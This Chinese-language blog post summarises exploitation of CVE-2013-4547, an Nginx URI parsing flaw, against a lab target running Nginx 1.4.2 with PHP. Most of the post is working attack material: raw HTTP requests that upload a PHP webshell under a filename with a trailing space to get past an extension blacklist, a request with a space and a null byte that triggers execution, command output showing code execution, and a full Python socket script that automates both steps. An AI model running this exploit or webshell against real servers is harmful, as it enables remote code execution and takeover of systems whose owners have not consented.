CVE-2013-4547 Nginx URI解析漏洞利用总结

漏洞信息

项目 内容
CVE编号 CVE-2013-4547
影响版本 Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.6
靶场版本 Nginx 1.4.2 + PHP 5.6.40
漏洞类型 URI解析绕过 → RCE
靶机地址 http://192.168.229.60:8080

漏洞原理

Nginx在处理URI时存在解析缺陷:当URI中含有空格字节(0x20) 和**空字节(0x00)**时,Nginx对location规则的匹配结果与传递给PHP-FPM的文件名不一致。

复制代码
请求 URI:  /uploadfiles/1.gif<0x20><0x00>.php
                     ↑ 规则匹配           ↑
    Nginx 看到 → `\.php$` 匹配成功 → 传给 PHP-FPM
    PHP-FPM 收到 → SCRIPT_FILENAME = "/var/www/html/uploadfiles/1.gif "
    PHP 执行 → `/var/www/html/uploadfiles/1.gif ` 中的代码
  • Nginx location匹配时,空字节截断字符串 → 看到 .php 就匹配了

  • 但 SCRIPT_FILENAME 只取到空格前 → 实际执行的是 1.gif(带空格的GIF文件)

  • 上传时文件名 1.gif 末尾空格绕过了 php/phtml/php5 黑名单

攻击步骤

Step 1:上传webshell(文件名末尾带空格)

原始HTTP请求:

复制代码
POST /index.php HTTP/1.1
Host: 192.168.229.60:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxx
Content-Length: xxx
Connection: close
​
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="file_upload"; filename="1.gif "
Content-Type: text/plain
​
<?php system($_GET["cmd"]); ?>
------WebKitFormBoundaryxxx--

关键点: filename="1.gif " 末尾的空格 不能丢,pathinfo()检测到扩展名是 gif(非php)→ 上传成功。

Step 2:触发漏洞执行

Burp Suite操作(Hex模式):

  1. 在Repeater中切换到Hex视图

  2. 写出请求行:

    复制代码
    GET /uploadfiles/1.gif HTTP/1.1
  3. 在 1.gif 后面添加3个字节:20(空格) 00(空字节) → 然后接 .php

  4. 最终URI原始字节:

    复制代码
    /uploadfiles/1.gif<0x20><0x00>.php?cmd=id

完整请求:

复制代码
GET /uploadfiles/1.gif<0x20><0x00>.php?cmd=id HTTP/1.1
Host: 192.168.229.60:8080
Connection: close

注意: <0x20>和<0x00>是原始字节 ,不是URL编码的%20%00!

Step 3:验证RCE

复制代码
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Python版完整利用脚本

复制代码
import socket, urllib.parse
​
# 1. 上传webshell(原始socket确保文件名空格保留)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.229.60', 8080))
​
boundary = b'----Boundary7MA4YWxkTrZu0gW'
php_code = b'<?php system($_GET["cmd"]); ?>'
​
body = b''
body += b'--' + boundary + b'\r\n'
body += b'Content-Disposition: form-data; name="file_upload"; filename="1.gif "\r\n'
body += b'Content-Type: text/plain\r\n\r\n'
body += php_code + b'\r\n'
body += b'--' + boundary + b'--\r\n'
​
req = b'POST /index.php HTTP/1.1\r\n'
req += b'Host: 192.168.229.60:8080\r\n'
req += b'Content-Type: multipart/form-data; boundary=' + boundary + b'\r\n'
req += b'Content-Length: ' + str(len(body)).encode() + b'\r\n'
req += b'Connection: close\r\n\r\n'
req += body
s.send(req)
s.close()
​
# 2. 利用CVE触发执行命令
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.229.60', 8080))
​
cmd = 'id'
uri = b'/uploadfiles/1.gif\x20\x00.php?cmd=' + urllib.parse.quote(cmd).encode()
​
req = b'GET ' + uri + b' HTTP/1.1\r\n'
req += b'Host: 192.168.229.60:8080\r\n'
req += b'Connection: close\r\n\r\n'
s.send(req)
​
resp = b''
while True:
    d = s.recv(4096)
    if not d: break
    resp += d
s.close()
​
print(resp.decode('utf-8', errors='replace'))

关键要点总结

  1. ✅ 空格+空字节 是漏洞核心,必须用原始字节发送

  2. ✅ 上传文件名末尾必须带空格(文件系统支持)

  3. ✅ PHP的pathinfo()不会trim空格 → 扩展名校验绕过

  4. ✅ Nginx 1.4.2 location匹配被空字节截断 → 认为以.php结尾

  5. ✅ PHP-FPM收到的文件名是带空格版本 → 能找到实际文件并执行

  6. ⚠️ 普通curl的-F参数会trim掉文件名末尾空格 → 必须用原始socket发送

相关推荐
aqi005 小时前
鸿蒙版本的电子书阅读APP开放源码啦
android·华为·ai编程·harmonyos·鸿蒙
墨天梦5 小时前
B19_SunnyWeather到阅读客户端
android·kotlin
美狐美颜sdk6 小时前
直播APP源码可以直接接入视频美颜sdk吗?技术方案详解
android·人工智能·音视频·美颜sdk·直播美颜sdk
用户69371750013848 小时前
2026,程序员的时代拐点到了
android·前端·后端
浪潮IT馆10 小时前
Android Studio 非最新版本下载安装教程
android·ide·android studio
xiaozongt198911 小时前
MasterGo + Claude Code 生成 Android 布局:完整实践指南
android
Anhty12 小时前
2026最新免费手机音频处理工具 !!
android·功能测试·ios·智能手机·音视频
2501_9159090614 小时前
iOS应用从开发到上架App Store的完整发布流程与步骤指南
android·ios·小程序·https·uni-app·webview
狗凯之家源码网15 小时前
AI 步数修改提交系统源码应用场景与落地指南
android·数据库·人工智能·运动步数
ZHOUPUYU15 小时前
PHP 9.0 前瞻:下一代 PHP 会带来哪些新功能?
android·开发语言·php